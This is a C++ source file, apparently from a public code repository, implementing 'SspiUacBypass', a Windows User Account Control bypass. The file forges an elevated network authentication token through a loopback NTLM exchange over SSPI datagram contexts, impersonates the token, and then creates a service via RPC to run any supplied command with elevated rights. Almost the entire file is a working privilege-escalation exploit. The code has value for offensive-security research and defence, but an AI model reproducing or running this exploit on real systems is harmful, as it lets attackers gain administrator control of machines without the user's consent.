/
SspiUacBypass.cpp
157 lines (139 loc) · 6.44 KB
/
SspiUacBypass.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#define SECURITY_WIN32
#include <Windows.h>
#include <stdio.h>
#include <Security.h>
#include "CreateSvcRpc.h"
#define SEC_SUCCESS(Status) ((Status) >= 0)
#define MAX_MESSAGE_SIZE 12000
#pragma comment (lib, "Secur32.lib")
HANDLE ForgeNetworkAuthToken();
void CheckTokenSession(HANDLE hToken);
BOOL IsThreadTokenIdentification();
int main(int argc, char* argv[])
{
char defaultCmdline[] = "cmd /c \"echo SspiUacBypass > C:\\Windows\\bypassuac.txt\"";
char* cmdline = defaultCmdline;
HANDLE hNetworkToken = INVALID_HANDLE_VALUE;
if (argc > 1)
cmdline = argv[1];
printf("\n\tSspiUacBypass - Bypassing UAC with SSPI Datagram Contexts\n\tby @splinter_code\n\n");
printf("Forging a token from a fake Network Authentication through Datagram Contexts\n");
hNetworkToken = ForgeNetworkAuthToken();
if (hNetworkToken == INVALID_HANDLE_VALUE) {
printf("Cannot forge the network auth token, exiting...\n");
exit(-1);
}
printf("Network Authentication token forged correctly, handle --> 0x%x\n", hNetworkToken);
CheckTokenSession(hNetworkToken);
ImpersonateLoggedOnUser(hNetworkToken);
// Some Windows versions check if the current process token session ID matches the forged token session ID
// Older Windows versions don't, so trying anyway to impersonate even if the forged token session ID is 0
if (IsThreadTokenIdentification()) {
printf("Impersonating the forged token returned an Identification token. Bypass failed :( \n");
}
else {
printf("Bypass Success! Now impersonating the forged token... Loopback network auth should be seen as elevated now\n");
InvokeCreateSvcRpcMain(cmdline);
}
RevertToSelf();
CloseHandle(hNetworkToken);
return 0;
}
HANDLE ForgeNetworkAuthToken() {
CredHandle hCredClient, hCredServer;
TimeStamp lifetimeClient, lifetimeServer;
SecBufferDesc negotiateDesc, challengeDesc, authenticateDesc;
SecBuffer negotiateBuffer, challengeBuffer, authenticateBuffer;
CtxtHandle clientContextHandle, serverContextHandle;
ULONG clientContextAttributes, serverContextAttributes;
SECURITY_STATUS secStatus;
HANDLE hTokenNetwork = INVALID_HANDLE_VALUE;
secStatus = AcquireCredentialsHandle(NULL, (LPWSTR)NTLMSP_NAME, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hCredClient, &lifetimeClient);
if (!SEC_SUCCESS(secStatus)) {
printf("AcquireCredentialsHandle Client failed with secstatus code 0x%x \n", secStatus);
exit(-1);
}
secStatus = AcquireCredentialsHandle(NULL, (LPWSTR)NTLMSP_NAME, SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &hCredServer, &lifetimeServer);
if (!SEC_SUCCESS(secStatus)) {
printf("AcquireCredentialsHandle Server failed with secstatus code 0x%x \n", secStatus);
exit(-1);
}
negotiateDesc.ulVersion = 0;
negotiateDesc.cBuffers = 1;
negotiateDesc.pBuffers = &negotiateBuffer;
negotiateBuffer.cbBuffer = MAX_MESSAGE_SIZE;
negotiateBuffer.BufferType = SECBUFFER_TOKEN;
negotiateBuffer.pvBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_MESSAGE_SIZE);
secStatus = InitializeSecurityContext(&hCredClient, NULL, NULL, ISC_REQ_DATAGRAM, 0, SECURITY_NATIVE_DREP, NULL, 0, &clientContextHandle, &negotiateDesc, &clientContextAttributes, &lifetimeClient);
if (!SEC_SUCCESS(secStatus)) {
printf("InitializeSecurityContext Type 1 failed with secstatus code 0x%x \n", secStatus);
exit(-1);
}
challengeDesc.ulVersion = 0;
challengeDesc.cBuffers = 1;
challengeDesc.pBuffers = &challengeBuffer;
challengeBuffer.cbBuffer = MAX_MESSAGE_SIZE;
challengeBuffer.BufferType = SECBUFFER_TOKEN;
challengeBuffer.pvBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_MESSAGE_SIZE);
secStatus = AcceptSecurityContext(&hCredServer, NULL, &negotiateDesc, ASC_REQ_DATAGRAM, SECURITY_NATIVE_DREP, &serverContextHandle, &challengeDesc, &serverContextAttributes, &lifetimeServer);
if (!SEC_SUCCESS(secStatus)) {
printf("AcceptSecurityContext Type 2 failed with secstatus code 0x%x \n", secStatus);
exit(-1);
}
authenticateDesc.ulVersion = 0;
authenticateDesc.cBuffers = 1;
authenticateDesc.pBuffers = &authenticateBuffer;
authenticateBuffer.cbBuffer = MAX_MESSAGE_SIZE;
authenticateBuffer.BufferType = SECBUFFER_TOKEN;
authenticateBuffer.pvBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_MESSAGE_SIZE);
secStatus = InitializeSecurityContext(NULL, &clientContextHandle, NULL, 0, 0, SECURITY_NATIVE_DREP, &challengeDesc, 0, &clientContextHandle, &authenticateDesc, &clientContextAttributes, &lifetimeClient);
if (!SEC_SUCCESS(secStatus)) {
printf("InitializeSecurityContext Type 3 failed with secstatus code 0x%x \n", secStatus);
exit(-1);
}
secStatus = AcceptSecurityContext(NULL, &serverContextHandle, &authenticateDesc, 0, SECURITY_NATIVE_DREP, &serverContextHandle, NULL, &serverContextAttributes, &lifetimeServer);
if (!SEC_SUCCESS(secStatus)) {
printf("AcceptSecurityContext failed with secstatus code 0x%x \n", secStatus);
exit(-1);
}
QuerySecurityContextToken(&serverContextHandle, &hTokenNetwork);
HeapFree(GetProcessHeap(), 0, negotiateBuffer.pvBuffer);
HeapFree(GetProcessHeap(), 0, challengeBuffer.pvBuffer);
HeapFree(GetProcessHeap(), 0, authenticateBuffer.pvBuffer);
FreeCredentialsHandle(&hCredClient);
FreeCredentialsHandle(&hCredServer);
DeleteSecurityContext(&clientContextHandle);
DeleteSecurityContext(&serverContextHandle);
return hTokenNetwork;
}
void CheckTokenSession(HANDLE hToken) {
DWORD retLenght = 0;
DWORD tokenSessionId = 0;
if (!GetTokenInformation(hToken, TokenSessionId, &tokenSessionId, sizeof(DWORD), &retLenght)) {
printf("GetTokenInformation failed with error code %d \n", GetLastError());
exit(-1);
}
// This should be always true for Windows versions <= 10 Build 1809
if (tokenSessionId == 0)
printf("Forged Token Session ID set to 0. Older Win version detected, lsasrv!LsapApplyLoopbackSessionId probably not present here...\n");
else
printf("Forged Token Session ID set to %d. lsasrv!LsapApplyLoopbackSessionId adjusted the token to our current session \n", tokenSessionId);
}
BOOL IsThreadTokenIdentification() {
HANDLE hTokenImp;
SECURITY_IMPERSONATION_LEVEL impLevel;
DWORD retLenght = 0;
if(!OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hTokenImp)) {
printf("OpenThreadToken failed with error code %d \n", GetLastError());
exit(-1);
}
if (!GetTokenInformation(hTokenImp, TokenImpersonationLevel, &impLevel, sizeof(SECURITY_IMPERSONATION_LEVEL), &retLenght)) {
printf("GetTokenInformation failed with error code %d \n", GetLastError());
exit(-1);
}
if (impLevel < SecurityImpersonation)
return TRUE;
else
return FALSE;
CloseHandle(hTokenImp);
}